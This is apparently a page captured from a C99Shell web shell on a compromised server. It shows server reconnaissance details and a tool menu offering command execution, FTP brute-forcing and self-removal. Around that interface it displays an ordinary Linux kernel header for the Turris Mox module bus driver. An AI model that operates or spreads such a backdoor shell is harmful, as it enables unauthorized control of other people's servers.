!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-oracle-6.8-headers-6.8.0-1028/include/linux/   drwxr-xr-x
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     moxtet.h (2.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Turris Mox module configuration bus driver
 *
 * Copyright (C) 2019 Marek BehĂșn <[email protected]>
 */

#ifndef __LINUX_MOXTET_H
#define __LINUX_MOXTET_H

#include <linux/device.h>
#include <linux/irq.h>
#include <linux/irqdomain.h>
#include <linux/mutex.h>

#define TURRIS_MOX_MAX_MODULES    10

enum turris_mox_cpu_module_id {
    TURRIS_MOX_CPU_ID_EMMC    = 0x00,
    TURRIS_MOX_CPU_ID_SD    = 0x10,
};

enum turris_mox_module_id {
    TURRIS_MOX_MODULE_FIRST        = 0x01,

    TURRIS_MOX_MODULE_SFP        = 0x01,
    TURRIS_MOX_MODULE_PCI        = 0x02,
    TURRIS_MOX_MODULE_TOPAZ        = 0x03,
    TURRIS_MOX_MODULE_PERIDOT    = 0x04,
    TURRIS_MOX_MODULE_USB3        = 0x05,
    TURRIS_MOX_MODULE_PCI_BRIDGE    = 0x06,

    TURRIS_MOX_MODULE_LAST        = 0x06,
};

#define MOXTET_NIRQS    16

struct moxtet {
    struct device            *dev;
    struct mutex            lock;
    u8                modules[TURRIS_MOX_MAX_MODULES];
    int                count;
    u8                tx[TURRIS_MOX_MAX_MODULES];
    int                dev_irq;
    struct {
        struct irq_domain    *domain;
        struct irq_chip        chip;
        unsigned long        masked, exists;
        struct moxtet_irqpos {
                    u8 idx;
                    u8 bit;
        } position[MOXTET_NIRQS];
    } irq;
#ifdef CONFIG_DEBUG_FS
    struct dentry            *debugfs_root;
#endif
};

struct moxtet_driver {
    const enum turris_mox_module_id    *id_table;
    struct device_driver        driver;
};

static inline struct moxtet_driver *
to_moxtet_driver(struct device_driver *drv)
{
    if (!drv)
        return NULL;
    return container_of(drv, struct moxtet_driver, driver);
}

extern int __moxtet_register_driver(struct module *owner,
                    struct moxtet_driver *mdrv);

static inline void moxtet_unregister_driver(struct moxtet_driver *mdrv)
{
    if (mdrv)
        driver_unregister(&mdrv->driver);
}

#define moxtet_register_driver(driver) \
    __moxtet_register_driver(THIS_MODULE, driver)

#define module_moxtet_driver(__moxtet_driver) \
    module_driver(__moxtet_driver, moxtet_register_driver, \
            moxtet_unregister_driver)

struct moxtet_device {
    struct device            dev;
    struct moxtet            *moxtet;
    enum turris_mox_module_id    id;
    unsigned int            idx;
};

extern int moxtet_device_read(struct device *dev);
extern int moxtet_device_write(struct device *dev, u8 val);
extern int moxtet_device_written(struct device *dev);

static inline struct moxtet_device *
to_moxtet_device(struct device *dev)
{
    if (!dev)
        return NULL;
    return container_of(dev, struct moxtet_device, dev);
}

#endif /* __LINUX_MOXTET_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0043 ]--